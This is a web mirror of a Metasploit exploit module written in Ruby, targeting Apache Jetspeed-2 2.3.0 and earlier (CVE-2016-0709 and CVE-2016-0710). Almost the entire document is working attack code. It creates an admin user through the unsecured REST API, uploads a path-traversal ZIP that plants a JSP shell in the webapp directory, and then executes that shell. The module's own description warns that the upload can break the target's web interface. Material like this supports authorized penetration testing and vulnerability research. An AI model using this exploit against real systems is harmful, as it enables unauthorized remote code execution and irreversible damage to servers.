Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/apache_jetspeed_file_upload.rb
31553 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Apache Jetspeed Arbitrary File Upload',
17
'Description' => %q{
18
This module exploits the unsecured User Manager REST API and a ZIP file
19
path traversal in Apache Jetspeed-2, version 2.3.0 and unknown earlier
20
versions, to upload and execute a shell.
21
22
Note: this exploit will create, use, and then delete a new admin user.
23
24
Warning: in testing, exploiting the file upload clobbered the web
25
interface beyond repair. No workaround has been found yet. Use this
26
module at your own risk. No check will be implemented.
27
},
28
'Author' => [
29
'Andreas Lindh', # Vulnerability discovery
30
'wvu' # Metasploit module
31
],
32
'References' => [
33
['CVE', '2016-0710'],
34
['CVE', '2016-0709'],
35
['URL', 'http://haxx.ml/post/140552592371/remote-code-execution-in-apache-jetspeed-230-and'],
36
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0709'],
37
['URL', 'https://portals.apache.org/jetspeed-2/security-reports.html#CVE-2016-0710']
38
],
39
'DisclosureDate' => '2016-03-06',
40
'License' => MSF_LICENSE,
41
'Arch' => ARCH_JAVA,
42
'Privileged' => false,
43
'Targets' => [
44
['Apache Jetspeed <= 2.3.0 (Linux)', { 'Platform' => 'linux' }],
45
['Apache Jetspeed <= 2.3.0 (Windows)', { 'Platform' => 'win' }]
46
],
47
'DefaultTarget' => 0,
48
'Notes' => {
49
'Reliability' => UNKNOWN_RELIABILITY,
50
'Stability' => UNKNOWN_STABILITY,
51
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52
}
53
)
54
)
55
56
register_options([
57
Opt::RPORT(8080)
58
])
59
end
60
61
def print_status(msg = '')
62
super("#{peer} - #{msg}")
63
end
64
65
def print_warning(msg = '')
66
super("#{peer} - #{msg}")
67
end
68
69
def exploit
70
print_status("Creating admin user: #{username}:#{password}")
71
create_admin_user
72
print_status('Logging in as newly created admin')
73
jetspeed_login
74
print_status("Uploading payload ZIP: #{zip_filename}")
75
upload_payload_zip
76
print_status("Executing JSP shell: /jetspeed/#{jsp_filename}")
77
exec_jsp_shell
78
end
79
80
def cleanup
81
print_status("Deleting user: #{username}")
82
delete_user
83
super
84
end
85
86
#
87
# Exploit methods
88
#
89
90
def create_admin_user
91
send_request_cgi(
92
'method' => 'POST',
93
'uri' => '/jetspeed/services/usermanager/users',
94
'vars_post' => {
95
'name' => username,
96
'password' => password,
97
'password_confirm' => password
98
}
99
)
100
send_request_cgi(
101
'method' => 'POST',
102
'uri' => "/jetspeed/services/usermanager/users/#{username}",
103
'vars_post' => {
104
'user_enabled' => 'true',
105
'roles' => 'admin'
106
}
107
)
108
end
109
110
def jetspeed_login
111
res = send_request_cgi(
112
'method' => 'GET',
113
'uri' => '/jetspeed/login/redirector'
114
)
115
116
res = send_request_cgi!(
117
'method' => 'POST',
118
'uri' => '/jetspeed/login/j_security_check',
119
'cookie' => res.get_cookies,
120
'vars_post' => {
121
'j_username' => username,
122
'j_password' => password
123
}
124
)
125
126
@cookie = res.get_cookies
127
end
128
129
# Let's pretend we're mechanize
130
def import_file
131
res = send_request_cgi(
132
'method' => 'GET',
133
'uri' => '/jetspeed/portal/Administrative/site.psml',
134
'cookie' => @cookie
135
)
136
137
html = res.get_html_document
138
import_export = html.at('//a[*//text() = "Import/Export"]/@href')
139
140
res = send_request_cgi!(
141
'method' => 'POST',
142
'uri' => import_export,
143
'cookie' => @cookie
144
)
145
146
html = res.get_html_document
147
html.at('//form[*//text() = "Import File"]/@action')
148
end
149
150
def upload_payload_zip
151
zip = Rex::Zip::Archive.new
152
zip.add_file("../../webapps/jetspeed/#{jsp_filename}", payload.encoded)
153
154
mime = Rex::MIME::Message.new
155
mime.add_part(zip.pack, 'application/zip', 'binary',
156
%(form-data; name="fileInput"; filename="#{zip_filename}"))
157
mime.add_part('on', nil, nil, 'form-data; name="copyIdsOnImport"')
158
mime.add_part('Import', nil, nil, 'form-data; name="uploadFile"')
159
160
case target['Platform']
161
when 'linux'
162
register_file_for_cleanup("../webapps/jetspeed/#{jsp_filename}")
163
register_dir_for_cleanup("../temp/#{username}")
164
when 'win'
165
register_file_for_cleanup("..\\webapps\\jetspeed\\#{jsp_filename}")
166
register_dir_for_cleanup("..\\temp\\#{username}")
167
end
168
169
send_request_cgi(
170
'method' => 'POST',
171
'uri' => import_file,
172
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
173
'cookie' => @cookie,
174
'data' => mime.to_s
175
)
176
end
177
178
def exec_jsp_shell
179
send_request_cgi(
180
'method' => 'GET',
181
'uri' => "/jetspeed/#{jsp_filename}",
182
'cookie' => @cookie
183
)
184
end
185
186
#
187
# Cleanup methods
188
#
189
190
def delete_user
191
send_request_cgi(
192
'method' => 'DELETE',
193
'uri' => "/jetspeed/services/usermanager/users/#{username}"
194
)
195
end
196
197
#
198
# Utility methods
199
#
200
201
def username
202
@username ||= Rex::Text.rand_text_alpha_lower(8)
203
end
204
205
def password
206
@password ||= Rex::Text.rand_text_alphanumeric(8)
207
end
208
209
def jsp_filename
210
@jsp_filename ||= Rex::Text.rand_text_alpha(8) + '.jsp'
211
end
212
213
def zip_filename
214
@zip_filename ||= Rex::Text.rand_text_alpha(8) + '.zip'
215
end
216
end
217
218